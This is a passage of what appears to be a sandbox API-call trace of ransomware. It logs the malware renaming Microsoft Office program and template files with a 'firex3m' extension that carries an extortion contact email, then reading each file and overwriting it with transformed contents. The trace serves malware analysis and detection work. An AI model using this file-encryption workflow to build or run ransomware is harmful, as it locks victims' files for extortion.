ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="word2013bw.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORD20~1.FIR")) returned 0x6d54c0 [0186.795] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0186.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0186.795] GetProcessHeap () returned 0x630000 [0186.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f21) returned 0x6fb7418 [0186.795] GetProcessHeap () returned 0x630000 [0186.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f21) returned 0x71e4bb0 [0186.795] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.795] ReadFile (in: hFile=0x434, lpBuffer=0x6fb7418, nNumberOfBytesToRead=0x2f00, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb7418*, lpNumberOfBytesRead=0x343ff0c*=0x2f00, lpOverlapped=0x0) returned 1 [0188.802] GetProcessHeap () returned 0x630000 [0188.802] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0188.802] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.803] WriteFile (in: hFile=0x434, lpBuffer=0x71e4bb0*, nNumberOfBytesToWrite=0x2f00, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e4bb0*, lpNumberOfBytesWritten=0x343ff0c*=0x2f00, lpOverlapped=0x0) returned 1 [0188.805] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.809] WriteFile (in: hFile=0x434, lpBuffer=0x71e7aaf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e7aaf*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0188.810] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.810] WriteFile (in: hFile=0x434, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0188.810] CloseHandle (hObject=0x434) returned 1 [0188.810] GetProcessHeap () returned 0x630000 [0188.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e4bb0 | out: hHeap=0x630000) returned 1 [0188.810] GetProcessHeap () returned 0x630000 [0188.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb7418 | out: hHeap=0x630000) returned 1 [0188.810] GetProcessHeap () returned 0x630000 [0188.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0188.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0188.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x367d4b74, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f35, dwReserved0=0xc6c7496, dwReserved1=0x6fb7410, cFileName="word2013bw.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORD20~1.FIR")) returned 0x6d5280 [0188.812] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0188.812] Sleep (dwMilliseconds=0x1) [0191.046] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE", len=0x3c | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE") returned 1 [0191.046] GetProcessHeap () returned 0x630000 [0191.046] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x4608) returned 0x74656a8 [0191.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0191.088] CloseHandle (hObject=0x6cc) returned 1 [0191.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x23a373ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDICON.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDIC~1.FIR")) returned 0x6d5000 [0191.090] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0191.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0191.090] GetProcessHeap () returned 0x630000 [0191.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7128660 [0191.090] GetProcessHeap () returned 0x630000 [0191.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0191.091] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.091] ReadFile (in: hFile=0x6cc, lpBuffer=0x7128660, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7128660*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.025] GetProcessHeap () returned 0x630000 [0195.025] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0195.026] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.026] WriteFile (in: hFile=0x6cc, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.321] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.322] WriteFile (in: hFile=0x6cc, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.323] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.323] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.323] CloseHandle (hObject=0x6cc) returned 1 [0195.324] GetProcessHeap () returned 0x630000 [0195.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0195.328] GetProcessHeap () returned 0x630000 [0195.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7128660 | out: hHeap=0x630000) returned 1 [0195.328] GetProcessHeap () returned 0x630000 [0195.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0196.299] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x23a373ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3a5d9b07, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c64, dwReserved0=0xc6c7496, dwReserved1=0x7128658, cFileName="WORDICON.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDIC~1.FIR")) returned 0x6d5380 [0196.299] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0196.300] Sleep (dwMilliseconds=0x1) [0196.318] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", len=0x4a | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 1 [0196.318] GetProcessHeap () returned 0x630000 [0196.318] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4798) returned 0x7133a90 [0196.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0196.431] CloseHandle (hObject=0x40c) returned 1 [0196.431] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADJACE~1.FIR")) returned 0x6d5000 [0197.006] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0197.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0197.006] GetProcessHeap () returned 0x630000 [0197.006] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x701e510 [0197.006] GetProcessHeap () returned 0x630000 [0197.006] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7029940 [0197.006] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.006] ReadFile (in: hFile=0x40c, lpBuffer=0x701e510, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x701e510*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0203.066] GetProcessHeap () returned 0x630000 [0203.066] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0203.066] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.066] WriteFile (in: hFile=0x40c, lpBuffer=0x7029940*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7029940*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0203.067] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.067] WriteFile (in: hFile=0x40c, lpBuffer=0x7034d3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7034d3f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.127] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.128] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.128] CloseHandle (hObject=0x40c) returned 1 [0205.128] GetProcessHeap () returned 0x630000 [0205.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7029940 | out: hHeap=0x630000) returned 1 [0205.128] GetProcessHeap () returned 0x630000 [0205.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x701e510 | out: hHeap=0x630000) returned 1 [0205.128] GetProcessHeap () returned 0x630000 [0205.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0205.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40368f99, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3a509, dwReserved0=0xc6c7496, dwReserved1=0x701e508, cFileName="AdjacencyResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADJACE~1.FIR")) returned 0x6d5540 [0205.128] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0205.128] Sleep (dwMilliseconds=0x1) [0205.138] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", len=0x70 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 1 [0205.138] GetProcessHeap () returned 0x630000 [0205.138] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c00) returned 0x7133a90 [0205.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0205.139] CloseHandle (hObject=0x704) returned 1 [0205.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0205.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0205.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc883e0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="PHONE.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PHONEX~1.FIR")) returned 0x6d5280 [0205.140] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0205.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0205.140] GetProcessHeap () returned 0x630000 [0205.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x741) returned 0x67a7c0 [0205.140] GetProcessHeap () returned 0x630000 [0205.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x741) returned 0x713ced0 [0205.140] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.140] ReadFile (in: hFile=0x704, lpBuffer=0x67a7c0, nNumberOfBytesToRead=0x720, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67a7c0*, lpNumberOfBytesRead=0x343ff0c*=0x720, lpOverlapped=0x0) returned 1 [0205.148] GetProcessHeap () returned 0x630000 [0205.148] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0205.148] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.148] WriteFile (in: hFile=0x704, lpBuffer=0x713ced0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713ced0*, lpNumberOfBytesWritten=0x343ff0c*=0x720, lpOverlapped=0x0) returned 1 [0205.149] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.149] WriteFile (in: hFile=0x704, lpBuffer=0x713d5ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713d5ef*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.149] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.149] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.149] CloseHandle (hObject=0x704) returned 1 [0205.149] GetProcessHeap () returned 0x630000 [0205.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x713ced0 | out: hHeap=0x630000) returned 1 [0205.149] GetProcessHeap () returned 0x630000 [0205.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67a7c0 | out: hHeap=0x630000) returned 1 [0205.149] GetProcessHeap () returned 0x630000 [0205.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0205.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4038f3a8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0xc6c7496, dwReserved1=0x67a7b8, cFileName="PHONE.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PHONEX~1.FIR")) returned 0x6d5540 [0205.149] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0205.149] Sleep (dwMilliseconds=0x1) [0207.300] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF", len=0x6f | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF") returned 1 [0207.300] GetProcessHeap () returned 0x630000 [0207.300] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c44) returned 0x6fe4288 [0207.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0207.301] CloseHandle (hObject=0x714) returned 1 [0207.301] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, 